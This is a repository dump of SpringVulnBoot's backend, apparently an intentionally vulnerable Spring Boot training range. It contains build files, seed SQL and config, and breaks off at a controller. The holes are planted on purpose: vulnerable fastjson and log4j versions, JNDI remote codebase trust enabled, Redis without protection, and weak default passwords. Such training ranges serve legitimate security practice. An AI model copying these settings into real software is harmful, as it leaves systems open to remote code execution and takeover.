├── .dockerignore ├── .gitignore ├── Dockerfile ├── LICENSE ├── README.md ├── db.sql ├── docker-compose.yml ├── images ├── img_0.png ├── img_1.png ├── img_10.png ├── img_11.png ├── img_12.png ├── img_13.png ├── img_2.png ├── img_3.png ├── img_4.png ├── img_5.png ├── img_6.png ├── img_7.png ├── img_8.png └── img_9.png ├── pom.xml └── src ├── .DS_Store ├── main ├── .DS_Store ├── java │ └── icu │ │ └── secnotes │ │ ├── SpringVulnBootApplication.java │ │ ├── config │ │ ├── CorsConfig.java │ │ └── WebConfig.java │ │ ├── controller │ │ ├── AccessControll │ │ │ ├── HorizontalPriVulnController.java │ │ │ └── UnauthorizedPriVulnController.java │ │ ├── Authentication │ │ │ ├── MFAAuthVulnController.java │ │ │ ├── PassBasedAuthVulnController.java │ │ │ └── SmsBasedAuthVulnController.java │ │ ├── Components │ │ │ ├── FastjsonController.java │ │ │ └── Log4j2Controller.java │ │ ├── FileUpload │ │ │ └── FileUploadController.java │ │ ├── LoginController.java │ │ ├── PathTraversal │ │ │ └── PathTraversalController.java │ │ ├── RCE │ │ │ └── RCEController.java │ │ ├── Redirect │ │ │ └── RedirectController.java │ │ ├── SQLI │ │ │ ├── JdbcController.java │ │ │ └── MybatisController.java │ │ ├── SSRF │ │ │ └── SSRFController.java │ │ └── XSS │ │ │ ├── ReflectedController.java │ │ │ └── StoredController.java │ │ ├── exception │ │ └── GlobalExceptionHandler.java │ │ ├── interceptor │ │ └── LoginCheckInterceptor.java │ │ ├── mapper │ │ ├── LoginMapper.java │ │ ├── MessageBoardMapper.java │ │ ├── MfaSecretMapper.java │ │ ├── SmsCodeMapper.java │ │ ├── UserLoginLogMapper.java │ │ └── UserMapper.java │ │ ├── pojo │ │ ├── Admin.java │ │ ├── MessageBoard.java │ │ ├── MfaSecret.java │ │ ├── PageBean.java │ │ ├── Result.java │ │ ├── SmsCode.java │ │ └── User.java │ │ ├── service │ │ ├── LoginService.java │ │ ├── MessageBoardService.java │ │ ├── MfaSecretService.java │ │ ├── SmsCodeService.java │ │ ├── UserLoginLogService.java │ │ ├── UserService.java │ │ └── impl │ │ │ ├── LoginServiceImpl.java │ │ │ ├── MessageBoardServiceImpl.java │ │ │ ├── MfaSecretServiceImpl.java │ │ │ ├── SmsCodeServiceImpl.java │ │ │ ├── UserLoginLogServiceImpl.java │ │ │ └── UserServiceImpl.java │ │ └── utils │ │ ├── GoogleAuthenticatorUtil.java │ │ ├── JwtUtils.java │ │ └── Security.java └── resources │ ├── .DS_Store │ ├── ESAPI.properties │ ├── application.yml │ ├── log4j2.xml │ └── static │ └── file │ ├── logo_text_white.png │ └── shell.jsp └── test └── java └── icu └── secnotes ├── SpringVulnBootApplicationTests.java └── test ├── RuntimeDemo.java └── Sha256Test.java /.dockerignore: -------------------------------------------------------------------------------- 1 | target/ 2 | .idea/ 3 | .vscode/ 4 | *.iml 5 | Dockerfile 6 | docker-compose.yml -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | HELP.md 2 | target/ 3 | !.mvn/wrapper/maven-wrapper.jar 4 | !**/src/main/**/target/ 5 | !**/src/test/**/target/ 6 | .gitignore 7 | .DS_Store 8 | 9 | ### STS ### 10 | .apt_generated 11 | .classpath 12 | .factorypath 13 | .project 14 | .settings 15 | .springBeans 16 | .sts4-cache 17 | 18 | ### IntelliJ IDEA ### 19 | .idea 20 | .vscode 21 | *.iws 22 | *.iml 23 | *.ipr 24 | 25 | ### NetBeans ### 26 | /nbproject/private/ 27 | /nbbuild/ 28 | /dist/ 29 | /nbdist/ 30 | /.nb-gradle/ 31 | build/ 32 | !**/src/main/**/build/ 33 | !**/src/test/**/build/ 34 | 35 | ### VS Code ### 36 | .vscode/ 37 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | # 第一阶段:构建阶段 2 | FROM maven:3.9.3-eclipse-temurin-11 AS build 3 | WORKDIR /app 4 | 5 | # 配置Maven使用阿里云镜像源 6 | RUN mkdir -p /root/.m2 && \ 7 | echo '' > /root/.m2/settings.xml && \ 8 | echo '> /root/.m2/settings.xml && \ 9 | echo ' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"' >> /root/.m2/settings.xml && \ 10 | echo ' xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 https://maven.apache.org/xsd/settings-1.0.0.xsd">' >> /root/.m2/settings.xml && \ 11 | echo ' ' >> /root/.m2/settings.xml && \ 12 | echo ' ' >> /root/.m2/settings.xml && \ 13 | echo ' aliyunmaven' >> /root/.m2/settings.xml && \ 14 | echo ' *' >> /root/.m2/settings.xml && \ 15 | echo ' 阿里云公共仓库' >> /root/.m2/settings.xml && \ 16 | echo ' https://maven.aliyun.com/repository/public' >> /root/.m2/settings.xml && \ 17 | echo ' ' >> /root/.m2/settings.xml && \ 18 | echo ' ' >> /root/.m2/settings.xml && \ 19 | echo '' >> /root/.m2/settings.xml 20 | 21 | # 先复制pom文件,利用Docker缓存机制 22 | COPY pom.xml . 23 | # 下载依赖 24 | RUN mvn dependency:go-offline -B 25 | 26 | # 复制源代码 27 | COPY src ./src 28 | # 构建应用 29 | RUN mvn clean package -DskipTests -B 30 | 31 | # 第二阶段:运行阶段 32 | FROM eclipse-temurin:11-jre-jammy 33 | WORKDIR /app 34 | COPY --from=build /app/target/*.jar app.jar 35 | 36 | # 设置时区为中国时区 37 | ENV TZ=Asia/Shanghai 38 | RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone 39 | 40 | # 暴露应用端口(默认8080,可以根据实际应用端口修改) 41 | EXPOSE 8080 42 | 43 | # 启动命令 44 | ENTRYPOINT ["java", "-jar", "app.jar"] 45 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025-present bansh2eBreak 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SpringVulnBoot Backend 2 | 3 | ## 1、项目介绍 4 | 5 | 基于 Vue + SpringBoot 构建的 Java 安全靶场,一个专为安全爱好者、渗透测试和代码审计人员打造的实战演练平台。 6 | 7 | 1. 前端是基于流行的vue-admin-template基础模板进行改改改,[前端工程](https://github.com/bansh2eBreak/SpringVulnBoot-frontend) 8 | 2. 后端是基于SpringBoot 2.7.14开发的,[后端工程](https://github.com/bansh2eBreak/SpringVulnBoot-backend) 9 | 10 | ## 2、快速开始 11 | 12 | ### 2.1、前置条件 13 | 14 | - Docker 15 | - Docker Compose 16 | - Docker镜像加速 17 | - Git 18 | 19 | ### 2.2、安装步骤 20 | 21 | 1. 克隆前后端项目到同级目录 22 | ```bash 23 | # 创建项目目录 24 | mkdir SpringVulnBoot && cd SpringVulnBoot 25 | 26 | # 克隆前端项目 27 | git clone https://github.com/bansh2eBreak/SpringVulnBoot-frontend.git 28 | 29 | # 克隆后端项目 30 | git clone https://github.com/bansh2eBreak/SpringVulnBoot-backend.git 31 | ``` 32 | 33 | 2. 启动服务 34 | ```bash 35 | # 进入后端项目目录 36 | cd SpringVulnBoot-backend 37 | 38 | # 启动所有服务 39 | docker compose up -d 40 | ``` 41 | 42 | 3. 访问服务 43 | - 前端页面:http://localhost 44 | - 后端API:http://localhost:8080 45 | - MySQL数据库:localhost:13306 46 | 47 | 4. 注意 48 | - ⚠️禁止将靶场部署在生产环境,以免被恶意利用 49 | - 经过测试,容器方式部署,里面的路径穿越漏洞暂不支持,待优化 50 | 51 | ## 3.更新日志 52 | 2025/05/23: 53 | - 解决容器化部署时组件漏洞不兼容问题 54 | 55 | 2025/05/22: 56 | - 支持docker compose一键部署 57 | 58 | 2025/05/13: 59 | - 增加身份认证漏洞-MFA登录漏洞中的MFA绑定与MFA解绑操作 60 | - 增加越权漏洞: 61 | - 平行越权漏洞 62 | - 未授权访问漏洞 63 | - 垂直越权漏洞 64 | 65 | ## 4.已实现的漏洞 66 | - SQLi注入 67 | - 基于Jdbc的SQLi注入 68 | - 基于Mybatis的SQLi注入 69 | - XSS跨站脚本 70 | - 反射型XSS 71 | - 存储型XSS 72 | - 任意命令执行 73 | - Runtime方式 74 | - ProcessBuilder方式 75 | - 任意URL跳转 76 | - 路径穿越漏洞 77 | - 文件上传漏洞 78 | - 越权漏洞 79 | - 水平越权漏洞 80 | - 垂直越权漏洞 81 | - 未授权访问漏洞 82 | - 身份认证漏洞 83 | - 密码登录暴力破解 84 | - 普通的账号密码登录暴力破解 85 | - 绕过单IP限制暴力破解 86 | - HTTP Basic认证登录暴力破解 87 | - 图形验证码登录暴力破解 88 | - 短信认证漏洞 89 | - 短信轰炸 90 | - 短信验证码回显 91 | - 暴力破解短信验证码 92 | - 组件漏洞 93 | - Fastjson漏洞 94 | - Log4j2漏洞 95 | 96 | ## 5.效果图展示 97 | ![img_11.png](images/img_11.png) 98 | ![img_12.png](images/img_12.png) 99 | ![img_13.png](images/img_13.png) 100 | ![img_9.png](images/img_9.png) 101 | ![img_10.png](images/img_10.png) 102 | ![img_1.png](images/img_1.png) 103 | ![img_2.png](images/img_2.png) 104 | ![img_3.png](images/img_3.png) 105 | ![img_4.png](images/img_4.png) 106 | ![img_5.png](images/img_5.png) 107 | ![img_6.png](images/img_6.png) 108 | ![img_7.png](images/img_7.png) 109 | ![img_8.png](images/img_8.png) 110 | 111 | -------------------------------------------------------------------------------- /db.sql: -------------------------------------------------------------------------------- 1 | -- 设置数据库字符集 2 | ALTER DATABASE SpringVulnBoot CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci; 3 | 4 | -- 创建管理员表 5 | create table if not exists Admin 6 | ( 7 | id int auto_increment 8 | primary key, 9 | name varchar(50) not null, 10 | username varchar(50) not null, 11 | password varchar(50) not null, 12 | token varchar(255) null, 13 | avatar varchar(255) default 'https://img1.baidu.com/it/u=3200425930,2413475553&fm=253&fmt=auto&app=120&f=JPEG?w=800&h=800' null, 14 | create_time datetime null, 15 | constraint username 16 | unique (username) 17 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci; 18 | 19 | -- 插入测试数据到Admin表 20 | INSERT INTO Admin (name, username, password, token) VALUES ('系统管理员','admin', '123456', CONCAT('token_', ROUND(UNIX_TIMESTAMP(CURTIME(4)) * 1000))); 21 | INSERT INTO Admin (name, username, password, token) VALUES ('审计员','zhangsan', '123456', CONCAT('token_', ROUND(UNIX_TIMESTAMP(CURTIME(4)) * 1000))); 22 | 23 | -- 创建留言表 24 | create table if not exists MessageBoard 25 | ( 26 | id int auto_increment 27 | primary key, 28 | message varchar(200) null 29 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci; 30 | 31 | -- 创建用户表 32 | create table if not exists User 33 | ( 34 | id int auto_increment 35 | primary key, 36 | username varchar(50) null, 37 | name varchar(50) null, 38 | password varchar(50) null 39 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci; 40 | 41 | -- 创建MFA密钥表 42 | create table if not exists mfa_secret 43 | ( 44 | id int auto_increment 45 | primary key, 46 | userId int not null comment '用户ID', 47 | secret varchar(100) not null comment 'MFA加密串', 48 | create_time datetime null comment '创建时间', 49 | update_time datetime null comment '更新时间', 50 | constraint mfa_secret_Admin_id_fk 51 | foreign key (userId) references Admin (id) 52 | ) 53 | comment 'MFA密钥表' ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci; 54 | 55 | create index userId 56 | on mfa_secret (userId); 57 | 58 | -- 创建短信验证码记录表 59 | create table if not exists sms_code 60 | ( 61 | id bigint auto_increment 62 | primary key, 63 | phone varchar(20) not null comment '手机号', 64 | code varchar(6) not null comment '验证码', 65 | create_time datetime not null comment '创建时间', 66 | expire_time datetime not null comment '过期时间', 67 | used int default 0 null comment '是否已使用:0未使用,1已使用', 68 | retry_count int default 0 null comment '验证重试次数' 69 | ) 70 | comment '短信验证码记录表' ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci; 71 | 72 | -- 创建用户登录日志表 73 | create table if not exists user_login_log 74 | ( 75 | id int auto_increment 76 | primary key, 77 | ip varchar(50) not null, 78 | username varchar(255) not null, 79 | loginTime datetime not null 80 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci; 81 | 82 | -- 插入测试数据到MessageBoard表 83 | INSERT INTO MessageBoard (id, message) VALUES (1, '这个靶场真棒!'); 84 | INSERT INTO MessageBoard (id, message) VALUES (2, '怎么没有命令执行漏洞系列?'); 85 | INSERT INTO MessageBoard (id, message) VALUES (3, '催更!!!'); 86 | INSERT INTO MessageBoard (id, message) VALUES (4, ''); 87 | 88 | -- 插入测试数据到User表 89 | INSERT INTO User (id, username, name, password) VALUES (1, 'zhangsan', '张三', '123'); 90 | INSERT INTO User (id, username, name, password) VALUES (2, 'lisi', '李四', '123'); 91 | INSERT INTO User (id, username, name, password) VALUES (3, 'wangwu', '王五', '123'); 92 | INSERT INTO User (id, username, name, password) VALUES (4, 'user4', 'User 4', '123'); 93 | INSERT INTO User (id, username, name, password) VALUES (5, 'user5', 'User 5', '123'); 94 | INSERT INTO User (id, username, name, password) VALUES (6, 'user6', 'User 6', '123'); 95 | INSERT INTO User (id, username, name, password) VALUES (7, 'user7', 'User 7', '123'); 96 | INSERT INTO User (id, username, name, password) VALUES (8, 'user8', 'User 8', '123'); 97 | INSERT INTO User (id, username, name, password) VALUES (9, 'user9', 'User 9', '123'); 98 | INSERT INTO User (id, username, name, password) VALUES (10, 'user10', 'User 10', '123'); 99 | INSERT INTO User (id, username, name, password) VALUES (11, 'user11', 'User 11', '123'); 100 | INSERT INTO User (id, username, name, password) VALUES (12, 'user12', 'User 12', '123'); 101 | INSERT INTO User (id, username, name, password) VALUES (13, 'user13', 'User 13', '123'); 102 | INSERT INTO User (id, username, name, password) VALUES (14, 'user14', 'User 14', '123'); 103 | INSERT INTO User (id, username, name, password) VALUES (15, 'user15', 'User 15', '123'); 104 | INSERT INTO User (id, username, name, password) VALUES (16, 'user16', 'User 16', '123'); 105 | INSERT INTO User (id, username, name, password) VALUES (17, 'user17', 'User 17', '123'); 106 | INSERT INTO User (id, username, name, password) VALUES (18, 'user18', 'User 18', '123'); 107 | INSERT INTO User (id, username, name, password) VALUES (19, 'user19', 'User 19', '123'); 108 | INSERT INTO User (id, username, name, password) VALUES (20, 'user20', 'User 20', '123'); 109 | -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.8' 2 | 3 | services: 4 | # 前端服务 5 | frontend: 6 | build: 7 | context: ../SpringVulnBoot-frontend 8 | dockerfile: Dockerfile 9 | image: springvulnboot-frontend:latest 10 | container_name: springvulnboot-frontend 11 | ports: 12 | - "80:80" 13 | depends_on: 14 | - app 15 | networks: 16 | - springvulnboot-network 17 | 18 | # 后端服务 19 | app: 20 | build: 21 | context: . 22 | dockerfile: Dockerfile 23 | image: springvulnboot-backend:latest 24 | container_name: springvulnboot-backend 25 | ports: 26 | - "8080:8080" 27 | environment: 28 | - SPRING_DATASOURCE_URL=jdbc:mysql://mysql:3306/SpringVulnBoot?useUnicode=true&characterEncoding=utf8&useSSL=false&serverTimezone=Asia/Shanghai&allowPublicKeyRetrieval=true 29 | - SPRING_DATASOURCE_USERNAME=root 30 | - SPRING_DATASOURCE_PASSWORD=Root1234 31 | depends_on: 32 | mysql: 33 | condition: service_healthy 34 | networks: 35 | - springvulnboot-network 36 | 37 | # MySQL数据库服务 38 | mysql: 39 | image: mysql:8.0 40 | container_name: mysql 41 | ports: 42 | - "13306:3306" 43 | environment: 44 | - MYSQL_ROOT_PASSWORD=Root1234 45 | - MYSQL_DATABASE=SpringVulnBoot 46 | - TZ=Asia/Shanghai 47 | - LANG=C.UTF-8 48 | volumes: 49 | - mysql-data:/var/lib/mysql 50 | - ./db.sql:/docker-entrypoint-initdb.d/01-init.sql 51 | command: --character-set-server=utf8mb4 --collation-server=utf8mb4_0900_ai_ci --lower_case_table_names=1 --init-connect='SET NAMES utf8mb4' 52 | networks: 53 | - springvulnboot-network 54 | healthcheck: 55 | test: ["CMD", "mysqladmin", "ping", "-h", "localhost", "-u", "root", "-pRoot1234"] 56 | interval: 5s 57 | timeout: 5s 58 | retries: 20 59 | 60 | # Redis服务(未授权访问) 61 | redis: 62 | image: redis:6.2 63 | container_name: redis 64 | ports: 65 | - "6379:6379" 66 | command: redis-server --protected-mode no # 关闭保护模式,允许未授权访问 67 | networks: 68 | - springvulnboot-network 69 | 70 | networks: 71 | springvulnboot-network: 72 | driver: bridge 73 | 74 | volumes: 75 | mysql-data: 76 | driver: local -------------------------------------------------------------------------------- /images/img_0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/images/img_0.png -------------------------------------------------------------------------------- /images/img_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/images/img_1.png -------------------------------------------------------------------------------- /images/img_10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/images/img_10.png -------------------------------------------------------------------------------- /images/img_11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/images/img_11.png -------------------------------------------------------------------------------- /images/img_12.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/images/img_12.png -------------------------------------------------------------------------------- /images/img_13.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/images/img_13.png -------------------------------------------------------------------------------- /images/img_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/images/img_2.png -------------------------------------------------------------------------------- /images/img_3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/images/img_3.png -------------------------------------------------------------------------------- /images/img_4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/images/img_4.png -------------------------------------------------------------------------------- /images/img_5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/images/img_5.png -------------------------------------------------------------------------------- /images/img_6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/images/img_6.png -------------------------------------------------------------------------------- /images/img_7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/images/img_7.png -------------------------------------------------------------------------------- /images/img_8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/images/img_8.png -------------------------------------------------------------------------------- /images/img_9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/images/img_9.png -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 4.0.0 5 | 6 | org.springframework.boot 7 | spring-boot-starter-parent 8 | 2.7.14 9 | 10 | 11 | com.nvyao 12 | SpringVulnBoot 13 | 0.0.1-SNAPSHOT 14 | SpringVulnBoot 15 | SpringVulnBoot 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 11 31 | 32 | 33 | 34 | org.springframework.boot 35 | spring-boot-starter-actuator 36 | 37 | 38 | org.springframework.boot 39 | spring-boot-starter-logging 40 | 41 | 42 | 43 | 44 | org.springframework.boot 45 | spring-boot-starter-web 46 | 47 | 48 | org.springframework.boot 49 | spring-boot-starter-logging 50 | 51 | 52 | 53 | 54 | org.mybatis.spring.boot 55 | mybatis-spring-boot-starter 56 | 2.3.1 57 | 58 | 59 | com.github.penggle 60 | kaptcha 61 | 2.3.2 62 | 63 | 64 | com.mysql 65 | mysql-connector-j 66 | runtime 67 | 68 | 69 | org.springframework.boot 70 | spring-boot-starter-test 71 | test 72 | 73 | 74 | org.mybatis.spring.boot 75 | mybatis-spring-boot-starter-test 76 | 2.3.1 77 | test 78 | 79 | 80 | org.projectlombok 81 | lombok 82 | true 83 | 84 | 85 | org.owasp.encoder 86 | encoder 87 | 1.2.3 88 | 89 | 90 | 91 | org.owasp.esapi 92 | esapi 93 | 2.2.0.0 94 | 95 | 96 | log4j 97 | log4j 98 | 99 | 100 | org.slf4j 101 | slf4j-api 102 | 103 | 104 | commons-logging 105 | commons-logging 106 | 107 | 108 | 109 | 110 | 111 | io.jsonwebtoken 112 | jjwt 113 | 0.9.1 114 | 115 | 116 | javax.xml.bind 117 | jaxb-api 118 | 2.3.1 119 | 120 | 121 | com.alibaba 122 | fastjson 123 | 1.2.24 124 | 125 | 126 | 127 | org.apache.logging.log4j 128 | log4j-core 129 | 2.14.0 130 | 131 | 132 | org.apache.logging.log4j 133 | log4j-api 134 | 2.14.0 135 | 136 | 137 | org.apache.logging.log4j 138 | log4j-slf4j-impl 139 | 2.14.0 140 | 141 | 142 | 143 | 144 | org.springframework.boot 145 | spring-boot-starter-validation 146 | 147 | 148 | 149 | 150 | com.warrenstrange 151 | googleauth 152 | 1.5.0 153 | 154 | 155 | 156 | 157 | 158 | 159 | org.springframework.boot 160 | spring-boot-maven-plugin 161 | 162 | 163 | 164 | 165 | 166 | -------------------------------------------------------------------------------- /src/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/src/.DS_Store -------------------------------------------------------------------------------- /src/main/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/src/main/.DS_Store -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/SpringVulnBootApplication.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | import org.springframework.boot.web.servlet.ServletComponentScan; 6 | 7 | @ServletComponentScan //开启了对servlet组件的支持 8 | @SpringBootApplication 9 | public class SpringVulnBootApplication { 10 | 11 | public static void main(String[] args) { 12 | System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); 13 | System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); 14 | SpringApplication.run(SpringVulnBootApplication.class, args); 15 | } 16 | 17 | } 18 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/config/CorsConfig.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.config; 2 | 3 | import com.google.code.kaptcha.impl.DefaultKaptcha; 4 | import com.google.code.kaptcha.util.Config; 5 | import org.springframework.context.annotation.Bean; 6 | import org.springframework.context.annotation.Configuration; 7 | import org.springframework.web.cors.CorsConfiguration; 8 | import org.springframework.web.cors.UrlBasedCorsConfigurationSource; 9 | import org.springframework.web.filter.CorsFilter; 10 | 11 | import java.util.Properties; 12 | 13 | @Configuration 14 | public class CorsConfig { 15 | 16 | /** 17 | * 这是因为浏览器的安全机制对跨域请求的 Cookie 处理有严格的限制。当你的前端应用(http://10.225.13.70:9528)向后端服务(http://10.225.13.70:8080)发起跨域请求,并且需要携带 Cookie(例如 JSESSIONID 用于 Session 验证)时,浏览器会执行以下安全检查: 18 | * 19 | * 检查 Access-Control-Allow-Origin: 浏览器会检查后端响应头中的 Access-Control-Allow-Origin 字段。如果这个字段的值是通配符 *,或者与发起请求的源(http://10.225.13.70:9528)不匹配,浏览器就会阻止请求,以防止跨站请求伪造(CSRF)攻击。 20 | * 21 | * 检查 Access-Control-Allow-Credentials: 如果 Access-Control-Allow-Origin 匹配,浏览器还会检查 Access-Control-Allow-Credentials 字段。如果这个字段的值不是 true,或者缺失,浏览器也会阻止请求,因为这表示服务器没有明确允许客户端携带凭据(包括 Cookie)。 22 | * 23 | * 为什么不能使用 *? 24 | * 25 | * 使用通配符 * 作为 Access-Control-Allow-Origin 的值,虽然在某些情况下可以简化配置,但是在需要携带凭据的跨域请求中,这是绝对禁止的。因为如果允许任何来源的网站都携带用户的 Cookie 发起跨域请求,那么恶意网站就可以轻易地伪造请求,窃取用户的敏感信息。 26 | * 27 | * 精确指定来源地址的重要性 28 | * 29 | * 通过将 Access-Control-Allow-Origin 设置为精确的来源地址(http://10.225.13.70:9528),你就明确告诉浏览器,只有来自这个特定来源的请求才被允许携带 Cookie。这样可以有效地防止其他网站利用你的用户的 Cookie 发起跨域请求,提高了安全性。 30 | * 31 | * 总结 32 | * 33 | * 为了确保跨域请求的安全性,并允许浏览器携带 Cookie,你必须: 34 | * 35 | * 将 Access-Control-Allow-Origin 设置为精确的来源地址,而不是通配符 *。 36 | * 将 Access-Control-Allow-Credentials 设置为 true。 37 | * 这两个设置是缺一不可的,只有同时满足这两个条件,浏览器才会允许跨域请求携带 Cookie。 38 | */ 39 | 40 | @Bean 41 | public CorsFilter corsFilter() { 42 | CorsConfiguration corsConfiguration = new CorsConfiguration(); 43 | corsConfiguration.setAllowCredentials(true); //这是最关键的改动,必须设置 allowCredentials 为 true,才能允许跨域请求携带 Cookie。 44 | corsConfiguration.addAllowedOrigin("http://127.0.0.1:9528"); 45 | corsConfiguration.addAllowedOrigin("http://127.0.0.1"); 46 | corsConfiguration.addAllowedOrigin("http://localhost:9528"); 47 | corsConfiguration.addAllowedOrigin("http://localhost"); 48 | corsConfiguration.addAllowedMethod("*"); // 允许所有请求方法 49 | corsConfiguration.addAllowedHeader("*"); // 允许所有请求头部 50 | 51 | UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource(); 52 | source.registerCorsConfiguration("/**", corsConfiguration); 53 | return new CorsFilter(source); 54 | } 55 | 56 | @Bean 57 | public DefaultKaptcha defaultKaptcha() { 58 | DefaultKaptcha defaultKaptcha = new DefaultKaptcha(); 59 | Properties properties = new Properties(); 60 | properties.setProperty("kaptcha.border", "yes"); // 图片边框 61 | properties.setProperty("kaptcha.border.color", "105,179,90"); // 边框颜色 62 | properties.setProperty("kaptcha.textproducer.font.color", "blue"); // 字体颜色 63 | properties.setProperty("kaptcha.image.width", "110"); // 图片宽度 64 | properties.setProperty("kaptcha.image.height", "40"); // 图片高度 65 | properties.setProperty("kaptcha.textproducer.font.size", "30"); // 字体大小 66 | properties.setProperty("kaptcha.session.key", "code"); // Session Key 67 | properties.setProperty("kaptcha.textproducer.char.length", "4"); // 验证码长度 68 | properties.setProperty("kaptcha.textproducer.font.names", "Arial,Courier"); // 字体 69 | Config config = new Config(properties); 70 | defaultKaptcha.setConfig(config); 71 | return defaultKaptcha; 72 | } 73 | 74 | } 75 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/config/WebConfig.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.config; 2 | 3 | import icu.secnotes.interceptor.LoginCheckInterceptor; 4 | import org.springframework.beans.factory.annotation.Autowired; 5 | import org.springframework.context.annotation.Configuration; 6 | import org.springframework.web.servlet.config.annotation.InterceptorRegistry; 7 | import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; 8 | 9 | @Configuration 10 | public class WebConfig implements WebMvcConfigurer { 11 | @Autowired 12 | private LoginCheckInterceptor loginCheckInterceptor; 13 | 14 | @Override 15 | public void addInterceptors(InterceptorRegistry registry) { 16 | registry.addInterceptor(loginCheckInterceptor).addPathPatterns("/**").excludePathPatterns("/login").excludePathPatterns("/openUrl/**") 17 | .excludePathPatterns("/authentication/passwordBased/captcha") 18 | .excludePathPatterns("/accessControl/UnauthorizedPri/vuln1/**"); 19 | } 20 | 21 | } 22 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/controller/AccessControll/HorizontalPriVulnController.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.controller.AccessControll; 